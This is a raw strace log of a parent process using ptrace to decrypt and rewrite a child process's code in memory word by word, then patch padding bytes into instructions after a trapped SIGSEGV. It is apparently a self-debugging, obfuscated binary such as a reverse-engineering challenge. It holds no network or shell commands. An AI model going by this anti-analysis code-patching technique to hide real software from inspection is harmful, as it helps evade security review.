ptrace(PTRACE_PEEKTEXT, 482327, 0x4020fb, [0xa6d1762a420401]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020fb, 0x7a1d67129410702) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402103, [0x9fd6113f52cd916e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402103, 0x98d1163851ce926d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40210b, [0x92a36254c7d3e624]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40210b, 0x95a46553c4d0e527) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402113, [0xc6c6f729e789cba0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402113, 0xc1c1f02ee48ac8a3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40211b, [0x2952d13b9e1b875e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40211b, 0x2e55d63c9d18845d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402123, [0x78fc4544b3212a8c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402123, 0x7ffb4243b022298f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40212b, [0x500d25d1f54de01a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40212b, 0x570a22d6f64ee319) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402133, [0x490ea3ed376a4115]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402133, 0x4e09a4ea34694216) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40213b, [0x332b4faf38602fd9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40213b, 0x342c48a83b632cda) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402143, [0xa68f6e5cb3eac2a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402143, 0xa188695bb0e9c1a0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40214b, [0xdb3d2a0d0378b8ed]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40214b, 0xdc3a2d0a007bbbee) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402153, [0x6683bdc91da49930]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402153, 0x6184bace1ea79a33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40215b, [0xa9bc196e8f2db64b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40215b, 0xaebb1e698c2eb548) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402163, [0x61418db0e860d20c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402163, 0x66468ab7eb63d10f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40216b, [0x7e7795c8acc29e96]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40216b, 0x797092cfafc19d95) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402173, [0xd150be72a927f100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402173, 0xd657b975aa24f203) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40217b, [0x35340df7f114bb68]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40217b, 0x32330af0f217b86b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402183, [0xc13a95fe113c740a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402183, 0xc63d92f9123f7709) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40218b, [0xe7fffc25524d2955]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40218b, 0xe0f8fb22514e2a56) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402193, [0xc6da1dc3f8f3ccdb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402193, 0xc1dd1ac4fbf0cfd8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40219b, [0xa65f43fce4135439]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40219b, 0xa15844fbe710573a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021a3, [0xe9ccd2078e87a879]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021a3, 0xeecbd5008d84ab7a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021ab, [0x54a4ebcf2595a889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021ab, 0x53a3ecc82696ab8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021b3, [0x1a8743ae9f343eeb]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021b3, 0x1d8044a99c373de8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021bb, [0xeedd644e1cf7981c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021bb, 0xe9da63491ff49b1f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021c3, [0x27a556b0e2f7e1c6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021c3, 0x20a251b7e1f4e2c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021cb, [0x38984f2fb29fdbd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021cb, 0x48e83f5f82afebe) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021d3, [0xcd27b2b9ff124df2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021d3, 0xca20b5befc114ef1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021db, [0x7561c6d4cb22352]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021db, 0x511b6a4fb12051) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021e3, [0x38984f2f6b98c2b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021e3, 0x48e83f5f5ba8f28) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021eb, [0xcd27b2b9ff124df2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021eb, 0xca20b5befc114ef1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021f3, [0xa791a82d4cb22352]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021f3, 0xa096af2a4fb12051) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4021fb, [0xd6357604684d72f8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4021fb, 0xd13271036b4e71fb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402203, [0xe32c9c943e744f96]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402203, 0xe42b9b933d774c95) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40220b, [0x274467aae77a7d9a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40220b, 0x204360ade4797e99) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402213, [0x38f94e52ea2df8b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402213, 0x3ffe4955e92efbb1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40221b, [0x9324e0eae3cf46d7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40221b, 0x9423e7ede0cc45d4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402223, [0x3170a8454d542b66]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402223, 0x3677af424e572865) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40222b, [0x483c6e911392b8de]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40222b, 0x4f3b69961091bbdd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402233, [0x49060e3c0958989f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402233, 0x4e01093b0a5b9b9c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40223b, [0xc9ae1797c409fa03]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40223b, 0xcea91090c70af900) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402243, [0xc0f2c4e7f89c672a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402243, 0xc7f5c3e0fb9f6429) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40224b, [0x9420e449a0dd9a3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40224b, 0xe450943990edaa0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402253, [0x204a88ee7e72206e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402253, 0x274d8fe97d71236d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40225b, [0x4c819f1d1ce54b3c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40225b, 0x4b86981a1fe6483f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402263, [0xcdf2d4b31a409f6e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402263, 0xcaf5d3b419439c6d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40226b, [0xecfc34096c6ed159]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40226b, 0xebfb330e6f6dd25a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402273, [0x3846938afc0b9ca4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402273, 0x3f41948dff089fa7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40227b, [0x22ebbafb9a435f35]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40227b, 0x25ecbdfc99405c36) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402283, [0xdb9ee56e74a16d40]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402283, 0xdc99e26977a26e43) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40228b, [0x9b72c5d57cf39095]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40228b, 0x9c75c2d27ff09396) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402293, [0x68bc72814d71c848]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402293, 0x6fbb75864e72cb4b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40229b, [0xea24c2b5623194b2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40229b, 0xed23c5b2613297b1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022a3, [0x9f07db069e750f3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022a3, 0xef77ab76ae453f0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022ab, [0xd44aa7eeef60bc4e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022ab, 0xd34da0e9ec63bf4d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022b3, [0x880010fdc37e3bd4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022b3, 0x8f0717fac07d38d7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022bb, [0xbe87d6a44fc03c72]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022bb, 0xb980d1a34cc33f71) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022c3, [0x765343b60950d68a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022c3, 0x715444b10a53d589) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022cb, [0xfc4dec6fd7e28265]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022cb, 0xfb4aeb68d4e18166) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022d3, [0x22b249fbdbd6a23f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022d3, 0x25b54efcd8d5a13c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022db, [0x9ec9a9610cbecfe2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022db, 0x99ceae660fbdcce1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022e3, [0x3acd5f7d96dcae70]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022e3, 0x3dca587a95dfad73) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022eb, [0x2a2635dd1e062135]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022eb, 0x2d2132da1d052236) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022f3, [0x58a50b695b9c1949]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022f3, 0x5fa20c6e589f1a4a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4022fb, [0x4e2435510d9d803b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4022fb, 0x492332560e9e8338) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402303, [0xd9ae06172d956be7]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402303, 0xdea901102e9668e4) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40230b, [0xe435d2448553b056]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40230b, 0xe332d5438650b355) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402313, [0xfbcad2a180a7e8e8]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402313, 0xfccdd5a683a4ebeb) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40231b, [0x4ecb1affe49449d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40231b, 0x49cc1df8e7974ad1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402323, [0x69240b899145964b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402323, 0x6e230c8e92469548) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40232b, [0xd7afc0fd0ad42a9f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40232b, 0xd0a8c7fa09d7299c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402333, [0xf628eb57ded35f30]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402333, 0xf12fec50ddd05c33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40233b, [0xa36b2b87d92e93b4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40233b, 0xa46c2c80da2d90b7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402343, [0x37b6deb5054a56b5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402343, 0x30b1d9b2064955b6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40234b, [0xbce3a9430cf0d5fa]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40234b, 0xbbe4ae440ff3d6f9) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402353, [0xab30967b0a7c64e9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402353, 0xac37917c097f67ea) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40235b, [0xd4e8c06f9b6c993]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40235b, 0xa498b01fab5ca90) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402363, [0x7b05d317076cfa39]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402363, 0x7c02d410046ff93a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40236b, [0x6eb724c456cb504e]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40236b, 0x69b023c355c8534d) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402373, [0x84c9711a688c56f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402373, 0x83ce761d6b8f55fa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40237b, [0x15c22998109b4ec5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40237b, 0x12c52e9f13984dc6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402383, [0x1a1cd2a6b3d922c6]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402383, 0x1d1bd5a1b0da21c5) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40238b, [0xb90435e6457aacc9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40238b, 0xbe0332e14679afca) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402393, [0xfea0dda1edcb270b]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402393, 0xf9a7daa6eec82408) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40239b, [0x38b6361c175564b0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40239b, 0x3fb1311b145667b3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023a3, [0xbdbc6afa6c5fe899]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023a3, 0xbabb6dfd6f5ceb9a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023ab, [0xf7d50357d9d6f5f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023ab, 0xf0d20450dad5f6f3) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023b3, [0x8b75f32e404172ab]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023b3, 0x8c72f429434271a8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023bb, [0xacefa64ca30a86c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023bb, 0xdc9fd63c933ab6f) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023c3, [0x18679dd335f29d4]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023c3, 0x6817eda305c2ad7) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023cb, [0xd7afc0fd78862a36]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023cb, 0xd0a8c7fa7b852935) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023d3, [0xf89c776aded35f30]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023d3, 0xff9b706dddd05c33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023db, [0xe9ccd2075bd2e6b9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023db, 0xeecbd50058d1e5ba) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023e3, [0x769ad9ba2595a889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023e3, 0x719ddebd2696ab8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023eb, [0x384c4bc34f1c4368]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023eb, 0x3f4b4cc44c1f406b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023f3, [0x7b176373ce7c9a52]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023f3, 0x7c106474cd7f9951) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4023fb, [0xa6b371b3cc9765f9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4023fb, 0xa1b476b4cf9466fa) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402403, [0x92c621f43dc8b7ac]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402403, 0x95c126f33ecbb4af) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40240b, [0xf172b323db9eb0a5]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40240b, 0xf675b424d89db3a6) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402413, [0xf0c85a4fa774e510]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402413, 0xf7cf5d48a477e613) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40241b, [0xeefc7504d3e7b110]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40241b, 0xe9fb7203d0e4b213) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402423, [0x15c7b7793fbc45fe]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402423, 0x12c0b07e3cbf46fd) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40242b, [0xbf92717e83a7d5d1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40242b, 0xb895767980a4d6d2) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402433, [0x57a31de4e9068a16]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402433, 0x50a41ae3ea058915) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40243b, [0x7aca95289c56c8e2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40243b, 0x7dcd922f9f55cbe1) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402443, [0x41b1dc129cfcfcd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402443, 0x31c1ac62accccce) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40244b, [0x55e8ef047ca1b329]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40244b, 0x52efe8037fa2b02a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402453, [0xc9e5276cd724674f]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402453, 0xcee2206bd427644c) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40245b, [0x3586afa1b477f889]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40245b, 0x3281a8a6b774fb8a) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402463, [0xcc530dccfb5f2238]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402463, 0xcb540acbf85c213b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40246b, [0xfd2f49d8d2ec4e2d]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40246b, 0xfa284edfd1ef4d2e) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402473, [0x7934a7814f93c830]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402473, 0x7e33a0864c90cb33) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40247b, [0xd8532e96c121d1d3]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40247b, 0xdf542991c222d2d0) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402483, [0x370d09babaff6382]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402483, 0x300a0ebdb9fc6081) = 0
nanosleep({tv_sec=0, tv_nsec=10000000}, 0x7ffec89cdf30) = 0
ptrace(PTRACE_SETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x428, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x402063, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_CONT, 482327, NULL, 0)    = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=482327, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
wait4(482327, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSEGV}], 0, NULL) = 482327
ptrace(PTRACE_GETREGS, 482327, {r15=0, r14=0, r13=0x7ffec89ce268, r12=0x40249b, rbp=0x7ffec89ce1f0, rbx=0x1, r11=0x246, r10=0x410, r9=0x34358018, r8=0x4194e0, rax=0, rcx=0, rdx=0x2, rsi=0, rdi=0x419100, orig_rax=0xffffffffffffffff, rip=0x40206c, cs=0x33, eflags=0x10246, rsp=0x7ffec89cd5c0, ss=0x2b, fs_base=0x41a198, gs_base=0, ds=0, es=0, fs=0, gs=0}) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40206f, [0x6262626261616161]) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402077, [0x6464646463636363]) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206c, [0x6261616161008a67]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206c, 0x6261616161008a90) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206d, [0x626261616161008a]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206d, 0x6262616161610090) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206e, [0x6262626161616100]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206e, 0x6262626161616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40206f, [0x6262626261616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40206f, 0x6262626261616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402070, [0x6362626262616161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402070, 0x6362626262616190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402071, [0x6363626262626161]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402071, 0x6363626262626190) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402072, [0x6363636262626261]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402072, 0x6363636262626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402073, [0x6363636362626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402073, 0x6363636362626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402074, [0x6463636363626262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402074, 0x6463636363626290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402075, [0x6464636363636262]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402075, 0x6464636363636290) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402076, [0x6464646363636362]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402076, 0x6464646363636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402077, [0x6464646463636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402077, 0x6464646463636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402078, [0xb264646464636363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402078, 0xb264646464636390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x402079, [0x9ab2646464646363]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402079, 0x9ab2646464646390) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207a, [0x419ab26464646463]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207a, 0x419ab26464646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207b, [0x69419ab264646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207b, 0x69419ab264646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207c, [0x6769419ab2646464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207c, 0x6769419ab2646490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207d, [0x676769419ab26464]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207d, 0x676769419ab26490) = 0
ptrace(PTRACE_PEEKDATA, 482327, 0x40207e, [0x24676769419ab264]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207e, 0x24676769419ab290) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40207f, [0x724676769419ab2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40207f, 0xfd76e800000000b8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402087, [0x2e1fcae9ad0e2ce9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402087, 0x12e58058d48ffff) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40208f, [0xedd45ebe795182d2]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40208f, 0x4898e8c7894800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x402097, [0x4d0e24f02ae86908]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x402097, 0xbf000045b3e800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x40209f, [0x5fe3bd2e97730e50]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x40209f, 0x7ac9e8000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020a7, [0x8e6600dfa9b9a3c]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020a7, 0x3100007b82e8c389) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020af, [0x179977250d418ef1]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020af, 0x3a39e8c789d8) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020b7, [0x4ac7515a6e4748cd]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020b7, 0x7affe80000001ebf) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020bf, [0x8a07e10c49820879]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020bf, 0xbf00000010be0000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020c7, [0xa750e32ca0cf8729]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020c7, 0x1470e80000001b) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020cf, [0xe30aff9d8ab315be]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020cf, 0xec45c7c845894800) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020d7, [0xb7d00dcd391be5f0]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020d7, 0x558b13eb00000000) = 0
ptrace(PTRACE_PEEKTEXT, 482327, 0x4020df, [0xe62305e369010ab9]) = 0
ptrace(PTRACE_POKETEXT, 482327, 0x4020df, 0x94899848ec458bec) = 0
